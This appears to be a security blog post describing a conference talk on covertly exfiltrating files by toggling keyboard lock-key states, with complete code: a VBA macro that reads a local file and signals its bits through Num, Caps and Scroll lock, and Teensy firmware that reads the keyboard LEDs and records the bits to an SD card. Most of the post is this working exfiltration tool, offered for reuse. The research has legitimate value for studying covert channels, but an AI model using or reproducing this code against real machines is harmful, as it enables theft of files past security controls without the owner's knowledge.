Blinking Hell – Export Data Using A Keyboard
For those that can’t be bothered to read this post and just want the code, please see here.
So myself and Rich Hicks finally got around to talking about the work we had done with the Teensy. An ATMega, USB-based Microcontroller sold by pjrc.com
I started work on this back in 2011 but didn’t take it any further until Rich came on board towards the end of 2011. We got some sample proof of concept code working but didn’t do anything further with it.
We then heard that at BSidesLondon 2013 they were starting a Rookie Track. For those that don’t know this was an opportunity for people who had never gave any talks before a chance to get up in front of a small crowd and test their bravery! Here are our slides.
Here’s is a Demo of the attack in action.
What our talk was about is using the teensy to capture the state of the keyboard lock states such as the Caps, Scroll and Num locks. The ability to capture these states allows the ability to export data by toggling these states.
We used a Visual Basic for applications to export a binary stream using the keyboard states.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 | Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Private Declare Sub keybd_event Lib "user32.dll" (ByVal bVk As Byte, ByVal bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long) Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Dim numStateVar As Integer Sub ExportData() ' Note: The entire file will be read into memory, so if its massive, you're gonna use loads of memory ' Dim sFileName As String Dim iFileNum As Double sFileName = "C:\test.txt" 'This is the text file we are going to export Dim btAR() As Byte Dim i As Long Dim Str As String Dim toSendLength As Integer Dim PosInSendString As Integer Dim endCount As Integer Let PosInSendString = 1 Let endCount = 0 iFileNum = FreeFile ReDim btAR(1 To FileLen(sFileName)) Open sFileName For Binary Access Read As #iFileNum Get #iFileNum, 1, btAR() Close iFileNum Debug.Print "###### Start ######" Debug.Print "Characters: " & FileLen(sFileName) Call AllOff Call ScrollOn_Click Sleep (1000) Call ScrollOn_Click Sleep (1000) Call ScrollOn_Click Sleep (50) Call AllOff Sleep (1000) Call CapsOn_Click For Each tByte In btAR toSendHex = Hex(tByte) 'Clear current status of togglekeys If (Hex(tByte) = 0) Then toSendHex = "00" ' Hack to get around limitations of unquoted strings in VB. 00 gets shortened to 0 and corrupts files. End If toSendLength = Len(h2b(toSendHex)) Debug.Print "Len:"; toSendLength; "BYTE:"; tByte; "Hex:"; Hex(tByte); " SendHex:"; toSendHex; " Bin:"; h2b(Hex(tByte)); " SendBin:"; h2b(toSendHex) Do Until PosInSendString = toSendLength + 1 If CapsLockOn = True Then 'PC has control Sleep (150) char_val = Mid(h2b(toSendHex), PosInSendString, 1) ' Convert to binary. If char_val = "0" Then Call NumOff_Click ' send 0 ElseIf char_val = "1" Then Call NumOn_Click ' send 1 Else Debug.Print "Something Broke Here" End If Let PosInSendString = PosInSendString + 1 ' add 1 to value of PosInSendString Call CapsOff_Click ' turn caps lock off - relinquish control Call ScrollOn_Click ' turn scroll lock on - give teensy control. End If DoEvents ' Stops it hanging. Loop Let PosInSendString = 1 Next 'For Each tByte In btAR 'toSendHex = Hex(tByte) 'Clear current status of togglekeys 'If (Hex(tByte) = 0) Then toSendHex = "FF" ' Hack to get around limitations of unquoted strings in VB. 00 gets shortened to 0 and corrupts files. 'End If toSendLength = Len(h2b(toSendHex)) Debug.Print "Len:"; toSendLength; "BYTE:"; tByte; "Hex:"; Hex(tByte); " SendHex:"; toSendHex; " Bin:"; h2b(Hex(tByte)); " SendBin:"; h2b(toSendHex) Do Until PosInSendString = toSendLength + 1 If CapsLockOn = True Then 'PC has control Sleep (150) char_val = Mid(h2b(toSendHex), PosInSendString, 1) ' Convert to binary. If char_val = "0" Then Call NumOff_Click ' send 0 ElseIf char_val = "1" Then Call NumOn_Click ' send 1 Else Debug.Print "Something Broke Here" End If Let PosInSendString = PosInSendString + 1 ' add 1 to value of PosInSendString Call CapsOff_Click ' turn caps lock off - relinquish control Call ScrollOn_Click ' turn scroll lock on - give teensy control. End If DoEvents ' Stops it hanging. Loop Let PosInSendString = 1 'Next ' Convert bytes to string Str = StrConv(btAR, vbUnicode) Debug.Print "'" & Str & "'" Debug.Print "###### End ######" Call AllOff ' set all off End Sub Function CapsLockOn() As Boolean Dim x As Integer x = GetKeyState(&H14) CapsLockOn = (x = 1 Or x = -127) End Function Function NumLockOn() As Boolean Dim x As Integer x = GetKeyState(&H90) NumLockOn = (x = 1 Or x = -127) End Function Function ScrollLockOn() As Boolean Dim x As Integer x = GetKeyState(&H91) ScrollLockOn = (x = 1 Or x = -127) End Function Private Sub NumOn_Click() If NumLockOn = False Then 'If it's off then turn on, else do nothing keybd_event &H90, &H45, &H1 Or 0, 0 keybd_event &H90, &H45, &H1 Or &H2, 0 End If End Sub Private Sub NumOff_Click() If NumLockOn = True Then 'If it's on then turn off, else do nothing keybd_event &H90, &H45, &H1 Or 0, 0 keybd_event &H90, &H45, &H1 Or &H2, 0 End If End Sub Private Sub CapsOn_Click() If CapsLockOn = False Then 'If it's off then turn on, else do nothing keybd_event &H14, &H45, &H1 Or 0, 0 keybd_event &H14, &H45, &H1 Or &H2, 0 End If End Sub Private Sub CapsOff_Click() If CapsLockOn = True Then 'If it's on then turn off, else do nothing keybd_event &H14, &H45, &H1 Or 0, 0 keybd_event &H14, &H45, &H1 Or &H2, 0 End If End Sub Private Sub ScrollOn_Click() If ScrollLockOn = False Then 'If it's off then turn on, else do nothing keybd_event &H91, &H45, &H1 Or 0, 0 keybd_event &H91, &H45, &H1 Or &H2, 0 End If End Sub Private Sub ScrollOff_Click() If ScrollLockOn = True Then 'If it's on then turn off, else do nothing keybd_event &H91, &H45, &H1 Or 0, 0 keybd_event &H91, &H45, &H1 Or &H2, 0 End If End Sub Function AllOff() As Boolean Call NumOff_Click Call CapsOff_Click Call ScrollOff_Click End Function Function h2b(hstr) 'convert hex string to binary string cnvarr = Array("0000", "0001", "0010", "0011", _ "0100", "0101", "0110", "0111", "1000", _ "1001", "1010", "1011", "1100", "1101", _ "1110", "1111") bstr = "" For i = 1 To Len(hstr) hdgt = Mid(hstr, i, 1) cix = CInt("&H" & hdgt) bstr = bstr & cnvarr(cix) Next h2b = bstr End Function |
and we used the following code on the teensy to capture the data:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 | #include <usb_private.h> #include <usb_keyboard.h> #include <SD.h> const int ledPin = 11; int leds = 0; int NumValue = 0; int ScrollValue = 0; int BeforeCapsValue = 0; int CurrentCapsValue = 0; int start_time = 0; int diff_time = 0; int end_time = 0; int varScrl = 0; //CaptureData Setup const int chipSelect = 0; boolean IsNumbOn(int val){ if ((val & 1) == 1){ return true; } else { return false; } } boolean IsCapsOn(int val){ if ((val & 2) == 2){ return true; } else { return false; } } //End of CaptureData Specific Setup boolean IsScrlOn(int val){ if (( val & 4) == 4){ return true; } else { return false; } } void setup(){ for(int i = 0; i < 60; i++){ digitalWrite(ledPin, HIGH); delay(50); digitalWrite(ledPin, LOW); delay(50); } Serial.begin(9600); // make sure that the default chip select pin is set to // output, even if you don't use it: pinMode(chipSelect,OUTPUT); //Put this in just in case something is going awry in A1.0 // see if the card is present and can be initialized: if (!SD.begin(chipSelect)) { Serial.println("Card failed, or not present"); // don't do anything more: return; } Serial.println("Card Initialised."); File dataFile = SD.open("data001.txt", FILE_WRITE); if (dataFile) { dataFile.print("\n\r NewDataSet"); Serial.print("\n NewDataSet:"); dataFile.close(); } else { Serial.print("Setup: error opening datalog.txt\n"); digitalWrite(ledPin, HIGH); delay(99999999); } Serial.print("End of setup \n"); delay(500); } void loop(){ start_time = millis(); Serial.print("start: "); Serial.print(start_time); Serial.print("\n"); do{ leds = keyboard_leds; // Serial.print("in loop\n"); if (IsScrlOn(leds)){ Serial.print("detected scroll\n"); if (varScrl == 0){ start_time = millis(); } varScrl = varScrl + 1; PressAndRelease(KEY_SCROLL_LOCK); Serial.print("toggled scroll\n"); } if (varScrl > 0) { end_time = millis(); diff_time = end_time - start_time; Serial.print(diff_time); Serial.print("\n"); if (diff_time < 5000){ // Serial.print("in time loop\n"); if (varScrl == 3){ Serial.print("doing naughty stuff\n"); delay(750); CaptureData(); //do naughty stuff Serial.print("Finished"); return; delay(99999); } // Serial.print("done or not doing naughty stuff\n"); } } if (diff_time > 5000) { varScrl = 0; } delay(750); } while (varScrl < 4); Serial.print("resetting everything, outside of while \n"); varScrl = 0; } void PressAndRelease(int KeyCode){ Keyboard.set_key1(KeyCode); Keyboard.send_now(); // send strokes Keyboard.set_key1(0); //Needed to clear the keypress as otherwise the key will remain pressed forever. Keyboard.send_now(); // send strokes } void CaptureData(){ do{ leds = keyboard_leds; NumValue = (leds & 1); if (IsScrlOn(leds)){ //teensy has control File dataFile = SD.open("data001.txt", FILE_WRITE); digitalWrite(ledPin,HIGH); delay(50); dataFile.print(NumValue); dataFile.close(); // print to the serial port too: Serial.print(NumValue); digitalWrite(ledPin,LOW); delay(50); //Have read character... so clear control key. PressAndRelease(KEY_SCROLL_LOCK); delay(500); //Hand control back to the macro PressAndRelease(KEY_CAPS_LOCK); } }while(1); } |
And this is how the data flows.
UPDATE: Finally we’ve managed to get a Picture in Picture put together.
Recent Posts
- Automating an Active Directory Audit in PowerShell
- CherryTree on MacOS (OSX)
- IPv6 LocalLink to IPv4 scanning tool
- NetKit IPv6 Test Lab
- WiPiResponder = Pi Zero W + Responder
- Recovering an activity from a Garmin 920 XT Forerunner
- hashcat on OS X – getting it going!
- PHP NMAP Scan Page
- Hacking the ATN X-sight – part1
- NFSShell on Kali Linux 2.0
Leave a Reply
You must be logged in to post a comment.